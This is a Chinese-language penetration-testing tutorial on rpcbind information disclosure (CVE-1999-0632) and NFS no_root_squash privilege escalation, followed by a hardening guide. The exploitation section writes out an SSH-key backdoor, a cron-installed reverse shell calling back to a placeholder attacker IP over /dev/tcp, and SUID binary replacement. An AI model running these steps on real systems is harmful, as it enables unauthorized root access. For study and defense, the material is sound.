从rpcbind信息泄露到NFS提权:内网渗透中的经典攻击链剖析

从rpcbind信息泄露到NFS提权:内网渗透中的经典攻击链剖析

1. 项目概述:为什么rpcbind漏洞至今仍值得警惕?

在网络安全领域,总有一些“老古董”级别的漏洞,它们年代久远,文档稀少,以至于很多新入行的渗透测试人员或安全研究员都对其知之甚少。rpcbind(历史上也叫portmap)相关的漏洞,特别是CVE-1999-0632,就是这样一个典型。乍一看,这是一个1999年的漏洞,距今已超过二十年,似乎早已被扫进历史的尘埃。但现实情况是,在针对内网、老旧系统或特定行业(如工控、物联网设备)的渗透测试中,你依然有很大概率会与它“不期而遇”。这个漏洞的标题常常被扫描器报告为“检测到远端rpcbind/portmap正在运行中”,看似只是一个信息泄露,实则可能成为攻击链中关键的一环。

我之所以想深入聊聊这个话题,是因为在一次针对某大型企业遗留系统的授权测试中,我们正是通过这个“古老”的入口,结合其他弱点,最终拿下了核心服务器的权限。整个过程充满了“考古”般的乐趣,也让我深刻体会到,安全防护不能只看“新潮”的零日漏洞,这些沉淀在系统深处的“活化石”,往往因为被长期忽视而更具危险性。本文的目的,就是带你重新审视rpcbind及其相关漏洞,从原理探测、工具使用到实战利用,完整走一遍攻击者可能采用的路径。这不仅是为了攻击,更是为了防御——只有知道攻击者会怎么用,你才能更好地知道该如何防。

2. rpcbind核心原理与漏洞本质解析

要利用一个漏洞,首先得理解它赖以存在的服务是什么。rpcbind是一个将RPC(远程过程调用)程序号映射到通用地址(通常是TCP/UDP端口)的服务。你可以把它想象成一个“电话总机”或“服务目录”。当某个RPC服务(比如NFS)启动时,它会向本机的rpcbind服务注册,告诉总机:“我是NFS服务,我的程序号是100003,我现在在TCP 2049端口上提供服务。”之后,当客户端想要访问NFS时,它并不知道NFS具体在哪个端口,它会先询问同一台主机上的rpcbind:“请问程序号100003的服务在哪里?”rpcbind查一下自己的登记簿,回复:“在TCP 2049端口。”客户端这才去连接2049端口。

2.1 CVE-1999-0632:它到底是不是一个“漏洞”?

这里有一个非常关键且容易混淆的点。CVE-1999-0632在NVD(国家漏洞数据库)中的描述非常简短:“rpcbind exposes information about services registered with it.” 翻译过来就是“rpcbind暴露了向其注册的服务信息”。严格来说,这更像是一个功能特性被滥用导致的信息泄露问题,而非一个传统的缓冲区溢出或代码执行漏洞。

它的风险在于:默认情况下,rpcbind服务(特别是旧版本)允许来自任何IP地址的查询。攻击者无需任何认证,就可以向目标主机的rpcbind服务(默认运行在TCP/UDP 111端口)发送一个请求,询问:“你这台机器上都运行了哪些RPC服务?它们都在哪些端口?”rpcbind会老老实实地把注册表里所有的信息(程序号、版本号、协议、端口号)全部返回。

注意:很多扫描器或文章会笼统地称其为“rpcbind漏洞”,但实际上,利用这个信息泄露进行后续攻击,往往需要结合其他RPC服务自身的漏洞(比如古老的rpc.statdrpc.mountd漏洞,或者NFS配置不当等)。CVE-1999-0632本身提供了“攻击地图”,而真正的“武器”是地图上标记的那些有问题的服务。

2.2 从信息泄露到实际危害的路径

单纯知道有哪些RPC服务,危害有限。但结合这些信息,攻击路径就清晰了:

  1. 服务发现与指纹识别:攻击者首先通过扫描发现111端口开放的rpcbind。通过查询,获得所有RPC服务列表,例如nfs(程序号100003)、mountd(程序号100005)、status(程序号100024)等。
  2. 脆弱服务定位:在获得的列表中,寻找已知存在历史漏洞的RPC服务。例如,某些老版本rpc.mountd可能存在缓冲区溢出漏洞(如CVE-1999-0002),或者rpc.statd服务容易遭受攻击。
  3. 配置不当利用:更常见的情况是,利用信息泄露发现的NFS(网络文件系统)服务。如果NFS服务器配置了不安全的共享规则(如no_root_squash且允许任意IP访问),攻击者可以直接挂载其共享目录,并写入恶意文件(如SSH公钥、后门程序),从而获取权限。
  4. 内网横向移动:在一台边缘服务器上发现rpcbind信息泄露后,攻击者可能发现这台服务器还作为NFS客户端,挂载了内网其他重要服务器的共享目录。通过篡改或读取这些共享内容,攻击者可以实现向内网的穿透。

因此,整个利用链条可以概括为:探测rpcbind(信息泄露) -> 识别脆弱RPC服务 -> 利用该服务自身漏洞或配置缺陷 -> 获取权限或敏感数据

3. 探测与信息收集实战操作

实战中,我们不会只依赖扫描器报告的一句话。我们需要手动验证并提取尽可能多的信息。以下是一些经典且有效的操作手法。

3.1 使用rpcinfo进行基础探测

rpcinfo是绝大多数Linux系统自带的RPC查询工具,是探测的“瑞士军刀”。

基础查询(针对目标IP)

rpcinfo -p 192.168.1.100

这条命令会向目标主机(192.168.1.100)的portmap/rpcbind服务查询所有已注册的RPC程序。输出通常如下:

program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100005 1 udp 20048 mountd 100005 3 udp 20048 mountd 100024 1 udp 45832 status

从这个列表,我们可以清晰地看到:

  • 程序号100003是NFS,运行在TCP 2049端口。
  • 程序号100005是mountd,运行在UDP 20048端口。
  • 程序号100024是status,运行在一个动态端口(45832)上。

更精细的查询: 如果你想针对某个特定程序进行查询,可以使用:

rpcinfo -n 2049 -t 192.168.1.100 100003 3 # -n 指定端口,-t 指定TCP协议,查询目标IP上在2049端口运行的、程序号为100003、版本为3的服务。

3.2 使用Nmap脚本进行深度扫描

Nmap的NSE(Nmap Scripting Engine)脚本库提供了更强大、更自动化的探测能力。

基础rpcbind信息枚举

nmap -sV -p 111 --script rpcinfo 192.168.1.100

这个脚本的效果类似于rpcinfo -p,但输出格式更规整,易于解析。

暴力枚举RPC程序: 对于一些老旧或非标系统,可能运行着未公开或自定义的RPC程序。Nmap的rpc-grind脚本可以尝试暴力枚举程序号。

nmap -p 111 --script rpc-grind --script-args rpc-grind.program=100000-200000 192.168.1.100

注意:这种暴力枚举会产生大量网络流量,速度较慢,且可能触发安全设备的告警。仅在授权测试且其他方法无效时谨慎使用。

NFS专项探测: 既然NFS是常见的关联服务,我们可以直接针对NFS进行扫描。

nmap -p 111,2049 --script nfs* 192.168.1.100

这条命令会运行所有名字以nfs开头的脚本,如nfs-ls(尝试列出NFS共享)、nfs-showmount(等价于showmount -e)等,可以快速评估NFS的配置安全性。

3.3 手动网络数据包分析

理解底层通信原理有助于调试和编写自己的工具。rpcbind查询本质上是一个RPC调用,调用的是程序号100000(即PORTMAP程序本身)的PMAPPROC_DUMP过程,该过程不需要参数,直接返回所有映射列表。

你可以使用tcpdump或Wireshark抓取rpcinfo -p命令产生的流量,观察其请求和响应数据包的结构。这对于理解RPC/XDR(外部数据表示)编码格式很有帮助,当你遇到非标准实现或需要编写漏洞利用代码时,这些知识至关重要。

4. 漏洞利用链构建与实战案例

探测到信息只是第一步,如何将其转化为实际的攻击入口?我们通过一个模拟的实战场景来串联整个流程。

场景假设:在一次内网渗透测试中,我们通过常规扫描发现一台IP为10.10.10.5的Linux服务器开放了111端口(rpcbind)和2049端口(NFS)。

4.1 第一步:信息收集与评估

# 1. 查询rpcbind服务 rpcinfo -p 10.10.10.5

输出显示有nfsmountdnlockmgr等服务。其中mountd(程序号100005)运行在UDP 20048端口。

# 2. 探查NFS共享情况 showmount -e 10.10.10.5 # 如果showmount不可用,用nmap脚本替代 nmap -p 111,2049 --script nfs-showmount 10.10.10.5

假设返回结果:

Export list for 10.10.10.5: /home/backup (everyone) /var/www/html *

这暴露了两个关键信息:

  • /home/backup共享给所有主机(everyone)。
  • /var/www/html共享给所有主机(*),这通常是Web根目录。

4.2 第二步:尝试挂载与权限测试

接下来,我们在攻击机(Kali Linux)上尝试挂载这些共享,查看其权限配置。

# 在攻击机上创建本地挂载点 mkdir /mnt/nfs_backup mkdir /mnt/nfs_webroot # 尝试挂载共享 mount -t nfs 10.10.10.5:/home/backup /mnt/nfs_backup mount -t nfs 10.10.10.5:/var/www/html /mnt/nfs_webroot

如果挂载成功,说明目标NFS服务器允许来自我们IP的连接,这是第一个安全隐患。

关键检查点:no_root_squash挂载成功后,立即检查共享目录的权限,特别是是否存在no_root_squash配置隐患。

# 切换到root用户(在攻击机上) sudo su # 尝试在挂载的目录中创建一个属于root的文件 touch /mnt/nfs_backup/test_root_file ls -l /mnt/nfs_backup/test_root_file

查看文件所有者。然后,在目标服务器上(假设通过其他方式获得了某个低权限shell),查看该文件:

ls -l /home/backup/test_root_file
  • 如果目标服务器上该文件的所有者也是root,则意味着该NFS共享配置了no_root_squash。这是一个高危配置,它允许客户端以root身份创建的文件在服务器端也保持root权限。
  • 如果目标服务器上文件所有者变成了nobodynfsnobody,则是相对安全的root_squash配置(默认)。

在我们的假设场景中,经检查发现/home/backup共享配置了no_root_squash

4.3 第三步:利用no_root_squash提权

这是最经典的利用方式。由于我们可以以root身份向共享目录写入文件,并且服务器端承认这些文件的root所有权,我们就可以植入后门。

方法一:写入SSH公钥

  1. 在攻击机上生成SSH密钥对(如果还没有的话):ssh-keygen -t rsa
  2. 将公钥(id_rsa.pub)的内容写入目标共享目录下的授权文件。通常需要写入目标用户的家目录下的.ssh/authorized_keys。但我们目前只知道共享目录是/home/backup,不确定是哪个用户。我们可以尝试寻找线索,或者直接利用no_root_squash写入root的授权文件。
# 在攻击机上,挂载点目录下操作 echo '你的公钥内容' >> /mnt/nfs_backup/authorized_keys # 然后,我们需要将这个文件移动到目标服务器root用户的.ssh目录下。 # 但这需要服务器端的路径。一个大胆的尝试是,假设/home/backup就是服务器上的路径,我们直接写入: echo '你的公钥内容' >> /mnt/nfs_backup/root_authorized_keys # 然后,通过其他途径(比如一个低权限Web Shell)尝试将这个文件移动到/root/.ssh/authorized_keys。

方法二:写入计划任务(Cron)如果目标服务器以root身份运行cron,并且cron会执行特定目录下的脚本(如/etc/cron.hourly/),我们可以写入恶意脚本。

# 1. 在攻击机上创建反弹shell脚本 cat > /mnt/nfs_backup/exploit.sh << EOF #!/bin/bash bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1 EOF chmod +x /mnt/nfs_backup/exploit.sh # 2. 写入计划任务。需要知道服务器上cron的路径。常见的是/etc/cron.d/。 # 假设我们写入一个自定义的cron任务文件。 cat > /mnt/nfs_backup/root_exploit.cron << EOF * * * * * root /home/backup/exploit.sh EOF # 然后,通过低权限shell将`root_exploit.cron`文件复制到`/etc/cron.d/`目录。

方法三:直接覆盖系统二进制文件这是一种破坏性较大的方法,仅用于概念验证或最后手段。例如,替换/usr/bin/passwd等SUID二进制文件。

# 在攻击机上,编译一个恶意的后门程序,赋予其SUID权限。 # 然后将其复制到挂载目录,并通过低权限shell替换目标服务器上的某个关键SUID程序。

重要警告:覆盖系统文件极易导致系统不稳定或崩溃,在真实渗透测试中必须获得明确授权,并评估对业务的影响。在CTF或实验环境中可尝试。

在我们的模拟案例中,我们采用方法一,并幸运地发现/home/backup目录下有一个id_rsa.bak文件,似乎是某个运维人员的备份私钥。我们直接使用该私钥成功以对应用户身份SSH登录了服务器,从而绕过了no_root_squash利用的复杂步骤。

4.4 第四步:权限提升与横向移动

通过SSH登录获得一个普通用户shell后,我们开始进行本地信息收集和提权。

# 查看当前用户权限 id sudo -l # 查看可以以root身份运行的命令 # 查找SUID/SGID文件 find / -perm -u=s -type f 2>/dev/null # 查找可写的敏感文件或目录 find / -writable -type d 2>/dev/null 2>/dev/null | grep -v proc | grep -v sys

同时,我们检查从rpcbind获取的其他服务信息。例如,我们发现rpc.statd服务在运行。历史上,statd曾存在多个漏洞(如CVE-2000-0666)。我们可以搜索该版本的statd是否有公开的本地提权漏洞。

此外,我们还可以利用已获得的权限,从这台服务器上再次运行rpcinfo -p,查询内网其他主机,进行横向移动。因为这台服务器很可能与内网其他服务器存在NFS挂载或RPC通信。

5. 防御措施与安全加固指南

了解了攻击者的手法,防御就变得有针对性了。以下是从系统管理员角度出发的加固建议。

5.1 网络层访问控制

这是最有效的一层防御。

  • 防火墙策略:除非绝对必要,否则应在边界防火墙和主机防火墙(如iptables, firewalld)上屏蔽对TCP/UDP 111端口的访问。只允许特定的、可信的客户端IP或网段访问rpcbind服务。例如,如果只有IP为192.168.1.0/24的服务器集群需要互相进行RPC调用,那么只放行这个网段。
    # 示例:使用firewalld限制111端口访问 sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="111" accept' sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="udp" port="111" accept' sudo firewall-cmd --permanent --remove-port=111/tcp # 移除默认的开放规则 sudo firewall-cmd --permanent --remove-port=111/udp sudo firewall-cmd --reload
  • 禁用非必需服务:如果业务上不需要NFS、NIS等RPC服务,直接卸载或停止相关服务,并禁用rpcbind开机自启。
    # 停止服务 sudo systemctl stop nfs-server rpcbind # 禁用开机启动 sudo systemctl disable nfs-server rpcbind # 卸载软件包(CentOS/RHEL) sudo yum remove nfs-utils rpcbind

5.2 rpcbind服务配置加固

如果业务必须使用RPC服务,则需对rpcbind本身进行配置。

  • 使用-h绑定特定IP:在启动rpcbind时,使用-h参数指定只监听在特定的内部网络接口上,而不是0.0.0.0
    # 编辑systemd服务文件 /usr/lib/systemd/system/rpcbind.service # 在[Service]部分的ExecStart行修改为: ExecStart=/sbin/rpcbind -h 192.168.1.100 -w # 然后重启服务 sudo systemctl daemon-reload sudo systemctl restart rpcbind

    注意:并非所有发行版或版本的rpcbind都支持-h参数,请先查阅man rpcbind确认。

  • 利用/etc/hosts.allow/etc/hosts.deny:这是TCP Wrappers的配置,可以对基于主机名的访问进行控制(注意,容易被IP欺骗绕过)。
    # /etc/hosts.deny rpcbind: ALL # /etc/hosts.allow rpcbind: 192.168.1.0/255.255.255.0, localhost
    这表示拒绝所有,只允许192.168.1.0/24网段和本机访问。

5.3 关联服务(如NFS)安全配置

加固rpcbind的同时,必须加固其关联的、真正提供业务功能的RPC服务。

  • 最小化共享原则:NFS共享时,只共享必要的目录,给最小必要的权限。
  • 禁止使用no_root_squash:在NFS服务器配置文件/etc/exports中,绝对不要对不可信网络使用no_root_squash选项。使用默认的root_squash或更严格的all_squash
    # 不安全的配置示例(严禁): /data *(rw,no_root_squash,sync) # 相对安全的配置: /data 192.168.1.0/24(rw,sync) # 指定IP段,使用默认的root_squash /public *(ro,all_squash,sync) # 对所有人只读,并将所有用户映射为匿名用户
  • 使用更安全的替代方案:考虑使用SSHFS、Samba(配置强认证)或对象存储来替代NFS,特别是在跨不安全网络传输时。

5.4 安全监控与审计

  • 日志监控:确保系统日志(/var/log/messages,/var/log/syslog)记录了rpcbind和NFS的访问日志。监控异常的外部IP地址对111端口的连接尝试。
  • 定期漏洞扫描:使用Nessus, OpenVAS等专业漏洞扫描器或内部脚本,定期对服务器进行扫描,检查是否意外开放了rpcbind等不必要的服务。
  • 网络入侵检测:在IDS/IPS规则中,添加对异常RPC查询(如来自外网的PMAPPROC_DUMP调用)的检测规则。

6. 高级利用技巧与疑难问题排查

在实际渗透测试中,情况往往比实验室环境复杂得多。这里分享一些进阶技巧和常见问题的解决方法。

6.1 绕过简单的IP限制

如果目标防火墙只允许特定IP段访问111端口,但你已经通过其他方式(如Web漏洞)在目标网络内部获得了一个立足点(跳板机)。你可以在这台跳板机上运行扫描和利用工具,因为从跳板机发起的流量属于“内网流量”,通常不受严格的边界防火墙限制。这就是经典的“横向移动”场景。

6.2 处理版本差异与兼容性问题

不同操作系统(Solaris, AIX, HP-UX, 各种Linux发行版)和不同版本的rpcbind/nfs-utils,其行为、默认配置和漏洞情况可能不同。

  • Solaris:老版本Solaris的rpcbind可能响应方式略有不同,且其RPC服务程序号可能和Linux有差异。需要参考对应系统的文档。
  • 非常老的系统:可能会遇到SunRPC而不是Portmap V2的情况,查询工具的参数可能需要调整。rpcinfo-b(广播)选项在某些旧网络环境下可能有用,但也会产生大量噪音。

技巧:在不确定时,使用ncncat手动构造最简单的RPC请求包,可以排除工具兼容性问题。一个简单的测试是向目标111端口发送一个空行或一个RPC NULL调用,看是否有响应。

6.3 当showmount被过滤或失效时

有时,目标服务器的mountd服务可能配置为不响应来自某些网络的showmount请求,或者网络中存在过滤。此时,可以尝试直接与NFS端口(2049)进行交互。

  • 使用Nmap的nfs-ls脚本:它不依赖mountd,而是直接与NFS协议对话来尝试列出共享。
    nmap -p 2049 --script nfs-ls --script-args nfs-ls.share='/假设的共享名' 10.10.10.5
  • 手动挂载探测:写一个简单的脚本,尝试用常见的共享名(如/home,/export,/share,/data)进行挂载。虽然效率低,但在特定场景下可能有效。

6.4 利用其他RPC服务漏洞

除了NFS配置不当,历史上其他RPC服务也存在远程代码执行漏洞。例如:

  • rpc.cmsd(Calendar Manager Service Daemon): CVE-1999-0696等。
  • rpc.ttdbserver(ToolTalk Database Server): CVE-1999-0003等。
  • rpc.statd: 多个溢出漏洞。

在通过rpcbind获取服务列表后,应立即根据程序号版本号搜索对应的公开漏洞。Metasploit框架中就包含了大量这类古老但可能未修补的RPC漏洞利用模块。在授权测试中,可以尝试使用。

6.5 排查工具使用中的常见错误

  • rpcinfo: can't contact portmapper: RPC: Remote system error - Connection refused这通常意味着目标111端口被防火墙完全阻止,或者rpcbind服务没有运行。先用nmap -sS -p 111确认端口状态。

  • rpcinfo: can't contact portmapper: RPC: Timed out网络延迟大或存在丢包,或者目标主机处理缓慢。尝试增加超时时间(如果工具支持),或从网络质量更好的节点进行测试。

  • Program not registered当你用rpcinfo查询一个具体的程序号/版本时返回此错误,说明该服务确实没有在rpcbind注册,或者注册的版本号不对。用rpcinfo -p查看所有注册信息进行核对。

  • 挂载NFS时提示access denied by server while mounting这表示客户端IP不在NFS服务器/etc/exports文件定义的允许列表中。这是正常的访问控制,不是错误。你需要找到允许访问的IP段,或者利用其他漏洞(如服务器端配置错误、已控跳板机)来满足这个条件。

7. 从攻击者视角看防御:如何让系统“隐身”

最后,我们换位思考,作为一个攻击者,什么样的系统最难通过rpcbind这条路径突破?答案是一个“隐身”的系统。

  1. 服务最小化:这是黄金法则。不安装nfs-utilsrpcbind等软件包。使用netstat -tulnpss -tulnp定期检查,确保111端口没有监听。
  2. 网络分区与微隔离:即使内网需要NFS,也应将存储网络与业务网络、管理网络严格分离。使用VLAN、防火墙策略确保只有特定的存储客户端能访问NFS服务器的111和2049端口。
  3. 使用现代替代协议:对于新的项目,优先考虑使用基于SSH的SFTP/SSHFS,或者使用带有Kerberos认证的NFSv4。NFSv4不再依赖单独的rpcbindmountd服务,它只使用一个已知的端口(2049),并且支持更强的认证机制,安全性比NFSv3有显著提升。
  4. 主动欺骗与蜜罐:在非生产环境,可以部署一个rpcbind蜜罐,记录所有查询请求的来源和内容,用于威胁情报收集和攻击预警。

归根结底,应对像CVE-1999-0632这类“信息泄露”型的老漏洞,最有效的策略不是复杂的缓解措施,而是彻底的“断舍离”。关闭不需要的服务,隔离必要的网络,升级到更安全的协议。安全往往就藏在这些基础但严格执行的运维规范之中。每次我看到扫描报告里出现“检测到远端rpcbind正在运行中”,我首先想到的不是兴奋,而是为那台服务器背后的管理员感到一丝担忧——又一个可能被遗忘的角落,正在向整个网络低声诉说着它的秘密。